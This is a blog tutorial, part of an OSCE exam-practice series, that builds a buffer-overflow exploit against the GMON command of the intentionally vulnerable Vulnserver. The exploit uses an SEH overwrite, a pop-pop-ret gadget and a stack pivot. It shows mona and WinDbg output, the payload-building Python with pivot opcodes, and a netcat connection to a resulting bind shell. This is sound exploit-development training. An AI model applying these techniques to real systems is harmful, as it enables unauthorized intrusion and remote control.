OSCE Exam Practice - Part IV (GMON via SEH Overwrite w/ Stack Pivot)

May 18, 2020 | 7 minutes read

Tags: osce, vulnserver, windbg

Lab Environment

  • Operating System: Windows 7
  • Architecture: x86
  • Debugger: WinDbg
  • Scripting Language: Python3.8
  • Repo Entry: GMON - Stack Pivot
  • Additional Tools Used:
  • Target: Vulnserver :: GMON command
  • Method: SEH Overwrite w/ Stack Pivot

In case you’re missing anything listed above (excluding vulnserver), check out OSCE Exam Practice - Part I (Lab Setup).

DISCLAIMER: This series of posts is geared toward diving deeper on more modern tooling (boofuzz, windbg, mona, et al) as well as gaining proficiency/efficiency with exploit development. It’s not a guide for the how-to portion of writing a PoC (even though I step through things slowly, I don’t explain things to that level of detail). I assume if you’re here to look at OSCE practice examples, you probably don’t need the step-by-step instructions for every little thing. With all that said, I hope you find something useful!

Other posts in the series:


Howdy! Time for round 4. In this post, we’ll take a look at the GMON command again, except this time we’ll utilize a stack pivot instead of an egg hunter. A stack pivot is another method for maneuvering out of tight corners. In the case of GMON, we only have 52 bytes of space to work with (initially).

This post builds off of Part III, so if you haven’t, check that one out first to see how we arrived at this post’s starting location.

Building the Exploit pattern_create (again)

Recall during Part III we generated a cyclic pattern (length: 5011) and found the offset of the SEH record using mona’s findmsp command. Some of the output is below.

[+] Examining stack (entire stack) - looking for pointers to cyclic pattern
    Walking stack from 0x01acf000 to 0x01acfffc (0x00000ffc bytes)
    0x01acf164 : Pointer into normal cyclic pattern at ESP-0x84 (-132) : 0x01acfc60 : offset 2646, length 928
    0x01acf168 : Pointer into normal cyclic pattern at ESP-0x80 (-128) : 0x01acf7a0 : offset 1430, length 2144

This output was letting us know that the pattern made it into memory in such a way that there are pointers to different offsets within the pattern.

Also recall that our Egg Hunter PoC used a pop pop ret gadget to redirect execution. We’ll still use the same gadget to reach a place where we can execute raw instructions.

We need to throw our PoC with another cyclic pattern, however it needs to jive with the SEH overwrite. That means we need to generate a pattern that’s only as long as our offset to our SEH overwrite.

!py mona pc 3514

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\ pc 3514
Creating cyclic pattern of 3514 bytes
[+] Preparing output file 'pattern.txt'
    - Creating working folder c:\monalogs\vulnserver_3536
    - Folder created
    - (Re)setting logfile c:\monalogs\vulnserver_3536\pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open c:\monalogs\vulnserver_3536\pattern.txt and copy the pattern from the file findmsp

With that complete, we’ll need to attach to vulnserver, set a breakpoint, and let things run. Here’s my streamlined process for that:

  1. open vulnserver
  2. open windbg
  3. alt+f -> t
  4. press end
  5. press up arrow (should be on vulnserver.exe now)
  6. press enter
  7. alt+d -> g
  8. throw exploit
  9. copy !py mona bpseh from persistent scratch pad (setup in Part I)
  10. paste
  11. enter g into windbg command window

If you can find a quicker/simpler process, please let me know!

After performing the steps above, we should be at our pop pop ret gadget.


We’ll need to step (F10 || F11) until we are one step past our Short Jump.


With execution paused in our nop-sled, we can move on to finding our stack pivot. Let’s run findmsp.

!py mona findmsp

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\ findmsp
[+] Looking for cyclic pattern in memory
    Cyclic pattern (normal) found at 0x018df20a (length 3514 bytes)
    -  Stack pivot between 1382 & 4896 bytes needed to land in this pattern
    Cyclic pattern (normal) found at 0x003f37f2 (length 3514 bytes)
    Cyclic pattern (normal) found at 0x003f37f2 (length 3514 bytes)
[+] Examining registers
[+] Examining SEH chain
[+] Examining stack (entire stack) - looking for cyclic pattern
    Walking stack from 0x018de000 to 0x018dfffc (0x00001ffc bytes)
    0x018df20c : Contains normal cyclic pattern at ESP+0x568 (+1384) : offset 2, length 3512 (-> 0x018dffc3 : ESP+0x1320)
[+] Examining stack (entire stack) - looking for pointers to cyclic pattern
    Walking stack from 0x018de000 to 0x018dfffc (0x00001ffc bytes)
    0x018ded68 : Pointer into normal cyclic pattern at ESP+0xc4 (+196) : 0x018df9d8 : offset 1998, length 1516
    0x018dee50 : Pointer into normal cyclic pattern at ESP+0x1ac (+428) : 0x018df9d8 : offset 1998, length 1516
    0x018df164 : Pointer into normal cyclic pattern at ESP+0x4c0 (+1216) : 0x018dfc60 : offset 2646, length 868
    0x018df168 : Pointer into normal cyclic pattern at ESP+0x4c4 (+1220) : 0x018df7a0 : offset 1430, length 2084
[+] Preparing output file 'findmsp.txt'
    - (Re)setting logfile c:\monalogs\vulnserver_5956\findmsp.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.

We could use a few different things here, but we’ll stick with the closest pointer into our pattern.

0x018ded68 : Pointer into normal cyclic pattern at ESP+0xc4 (+196) : 0x018df9d8 : offset 1998, length 1516

This pointer will be the target of our stack pivot. If we can hit this address, we’ll land in our user-controlled buffer with 1500+ bytes of space for our shellcode.

windgb a(ssemble)

At this point, we should still be in our nop-sled in windbg. Let’s confirm that ESP+c4 points to our buffer. To do that, we can simply enter + c4 to the ESP window. We’ll take the address that ESP+c4 points to and place that address in a different memory window. What we see confirms that we can reach our buffer.


Now, let’s confirm that we can reach the address by assembling the instructions we want right into the debugger. To do this we’ll use windbg’s a command. We’ll want to add 0xc4 to ESP. Unfortunately, add esp, 0xc4 results in an instruction with null-bytes, so we’ll need to break up the addition over two smaller add instructions. The amounts can be whatever, as long as they add up to c4 and are smaller than 0x80. For demonstration, we’ll use 0x68 and 0x5c.

Once ESP is adjusted, we’ll need to jump to the address to which ESP points. This means we’ll need to dereference ESP as we jump to it. The instruction to do this is jmp [esp]. The brackets denote that we want to dereference ESP instead of jumping to it directly.

The a command allows us to insert instructions for assembly until we press enter on an empty line.


After assembling our instructions, our assembly window should look like this:


After stepping through our new instructions, we land in our mona pattern; nice!


If you want to generate instructions outside of windbg, checkout the nasmshell section of my environment setup for SLAE-64.

Confirm New Offset

As a reminder, the offset reported by mona is 1998.

0x018ded68 : Pointer into normal cyclic pattern at ESP+0xc4 (+196) : 0x018df9d8 : offset 1998, length 1516

Let’s take a look at a simple trick and at the same time confirm that our mona reported offset is correct. We’ll update our PoC script to set a software breakpoint (\xcc) at the address where our stack pivot will land us. If we hit that breakpoint, we’ll have confirmed the offset.

50payload = VULNSRVR_CMD
51payload += b"A" * 1998
52payload += b"\xcc" * 4

After making that change, we can rethrow the exploit and simply let it run after the initial access violation.


When we do, execution hits our first \xCC, letting us know we’re landing exactly where we expect to!

Getting a Shell

Now that we’ve confirmed that everything should work, we need to udpate our exploit script.

Let’s update our PoC yet again to put everything together.

50payload = VULNSRVR_CMD
51payload += b"A" * 1998
52payload += shellcode
53payload += b"B" * (OFFSET - len(payload) + len(VULNSRVR_CMD))
54payload += b"\xeb\x09\x90\x90"  # jmp short 
55payload += struct.pack("<I", 0x625011b3)  # nseh -> pop; pop; ret
56payload += b"\x90" * SLED_LENGTH
57payload += b"\x83\xc4\x68"  # add esp, 0x68
58payload += b"\x83\xc4\x5c"  # add esp, 0x5c
59payload += b"\xff\x24\x24"  # jmp [esp]
60payload += b"C" * (CRASH_LEN - len(payload))

If all goes well when we throw the code above, we should see a listener on port 12345 open up.

nc -vn 12345

(UNKNOWN) [] 12345 (?) open
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.


Hopefully you enjoyed this writeup. The next post covers the KSTET command. I hope to see you then!

comments powered by Disqus